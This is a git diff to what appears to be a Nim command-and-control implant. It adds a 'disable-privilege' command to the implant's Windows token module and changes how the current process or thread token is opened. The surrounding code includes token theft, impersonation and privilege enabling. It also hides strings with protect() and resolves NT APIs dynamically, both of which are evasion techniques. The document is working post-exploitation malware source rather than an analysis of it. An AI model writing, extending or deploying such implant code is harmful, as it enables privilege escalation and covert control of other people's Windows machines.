diff --git a/src/agent/core/token.nim b/src/agent/core/token.nim index 8e0403e..1a150eb 100644 --- a/src/agent/core/token.nim +++ b/src/agent/core/token.nim @@ -23,7 +23,7 @@ const CURRENT_THREAD = cast[HANDLE](-2) CURRENT_PROCESS = cast[HANDLE](-1) -proc getCurrentToken*(): HANDLE = +proc getCurrentToken*(desiredAccess: ACCESS_MASK = TOKEN_QUERY): HANDLE = var status: NTSTATUS = 0 hToken: HANDLE @@ -34,9 +34,9 @@ proc getCurrentToken*(): HANDLE = pNtOpenProcessToken = cast[NtOpenProcessToken](GetProcAddress(hNtdll, protect("NtOpenProcessToken"))) # https://ntdoc.m417z.com/ntopenthreadtoken, token-info fails with error ACCESS_DENIED if OpenAsSelf is set to - status = pNtOpenThreadToken(CURRENT_THREAD, TOKEN_ADJUST_PRIVILEGES or TOKEN_QUERY, TRUE, addr hToken) + status = pNtOpenThreadToken(CURRENT_THREAD, desiredAccess, TRUE, addr hToken) if status != STATUS_SUCCESS: - status = pNtOpenProcessToken(CURRENT_PROCESS, TOKEN_ADJUST_PRIVILEGES or TOKEN_QUERY, addr hToken) + status = pNtOpenProcessToken(CURRENT_PROCESS, desiredAccess, addr hToken) if status != STATUS_SUCCESS: raise newException(CatchableError, protect("NtOpenProcessToken ") & $status.toHex()) @@ -234,14 +234,14 @@ proc tokenSteal*(pid: int): bool = proc rev2self*(): bool = return RevertToSelf() -proc enablePrivilege*(privilegeName: string): string = +proc enablePrivilege*(privilegeName: string, enable: bool = true): string = var tokenPrivs: TOKEN_PRIVILEGES oldTokenPrivs: TOKEN_PRIVILEGES luid: LUID returnLength: DWORD - let hToken = getCurrentToken() + let hToken = getCurrentToken(TOKEN_ADJUST_PRIVILEGES or TOKEN_QUERY) defer: CloseHandle(hToken) if LookupPrivilegeValueW(NULL, newWideCString(privilegeName), addr luid) == FALSE: @@ -250,9 +250,10 @@ proc enablePrivilege*(privilegeName: string): string = # Enable privilege tokenPrivs.PrivilegeCount = 1 tokenPrivs.Privileges[0].Luid = luid - tokenPrivs.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED + tokenPrivs.Privileges[0].Attributes = if enable: SE_PRIVILEGE_ENABLED else: 0 if AdjustTokenPrivileges(hToken, FALSE, addr tokenPrivs, cast[DWORD](sizeof(TOKEN_PRIVILEGES)), addr oldTokenPrivs, addr returnLength) == FALSE: raise newException(CatchableError, $GetLastError()) - return privilegeToString(addr luid) \ No newline at end of file + let action = if enable: protect("Enabled") else: protect("Disabled") + return fmt"{action} {privilegeToString(addr luid)}." \ No newline at end of file diff --git a/src/common/types.nim b/src/common/types.nim index f4a3f2e..ebe19d0 100644 --- a/src/common/types.nim +++ b/src/common/types.nim @@ -57,6 +57,7 @@ type CMD_REV2SELF = 20'u16 CMD_TOKEN_INFO = 21'u16 CMD_ENABLE_PRIV = 22'u16 + CMD_DISABLE_PRIV = 23'u16 StatusType* = enum STATUS_COMPLETED = 0'u8 diff --git a/src/modules/token.nim b/src/modules/token.nim index 800b8ad..23294f8 100644 --- a/src/modules/token.nim +++ b/src/modules/token.nim @@ -5,6 +5,7 @@ proc executeMakeToken(ctx: AgentCtx, task: Task): TaskResult proc executeRev2Self(ctx: AgentCtx, task: Task): TaskResult proc executeTokenInfo(ctx: AgentCtx, task: Task): TaskResult proc executeEnablePrivilege(ctx: AgentCtx, task: Task): TaskResult +proc executeDisablePrivilege(ctx: AgentCtx, task: Task): TaskResult # Module definition @@ -47,9 +48,19 @@ let module* = Module( description: protect("enable a token privilege."), example: protect("enable-privilege SeImpersonatePrivilege"), arguments: @[ - Argument(name: protect("privilege"), description: protect("Privilege to modify."), argumentType: STRING, isRequired: true) + Argument(name: protect("privilege"), description: protect("Privilege to enable."), argumentType: STRING, isRequired: true) ], execute: executeEnablePrivilege + ), + Command( + name: protect("disable-privilege"), + commandType: CMD_DISABLE_PRIV, + description: protect("disable a token privilege."), + example: protect("disable-privilege SeImpersonatePrivilege"), + arguments: @[ + Argument(name: protect("privilege"), description: protect("Privilege to disable."), argumentType: STRING, isRequired: true) + ], + execute: executeDisablePrivilege ) ] ) @@ -60,6 +71,7 @@ when not defined(agent): proc executeRev2Self(ctx: AgentCtx, task: Task): TaskResult = nil proc executeTokenInfo(ctx: AgentCtx, task: Task): TaskResult = nil proc executeEnablePrivilege(ctx: AgentCtx, task: Task): TaskResult = nil + proc executeDisablePrivilege(ctx: AgentCtx, task: Task): TaskResult = nil when defined(agent): @@ -118,11 +130,17 @@ when defined(agent): proc executeEnablePrivilege(ctx: AgentCtx, task: Task): TaskResult = try: echo fmt" [>] Enabling token privilege." - - let privilege = Bytes.toString(task.args[0].data) - let privilegeName = enablePrivilege(privilege) - - return createTaskResult(task, STATUS_COMPLETED, RESULT_STRING, string.toBytes(fmt"Enabled {privilegeName}.")) + let privilege = Bytes.toString(task.args[0].data) + return createTaskResult(task, STATUS_COMPLETED, RESULT_STRING, string.toBytes(enablePrivilege(privilege))) + + except CatchableError as err: + return createTaskResult(task, STATUS_FAILED, RESULT_STRING, string.toBytes(err.msg)) + + proc executeDisablePrivilege(ctx: AgentCtx, task: Task): TaskResult = + try: + echo fmt" [>] Disabling token privilege." + let privilege = Bytes.toString(task.args[0].data) + return createTaskResult(task, STATUS_COMPLETED, RESULT_STRING, string.toBytes(enablePrivilege(privilege, false))) except CatchableError as err: return createTaskResult(task, STATUS_FAILED, RESULT_STRING, string.toBytes(err.msg))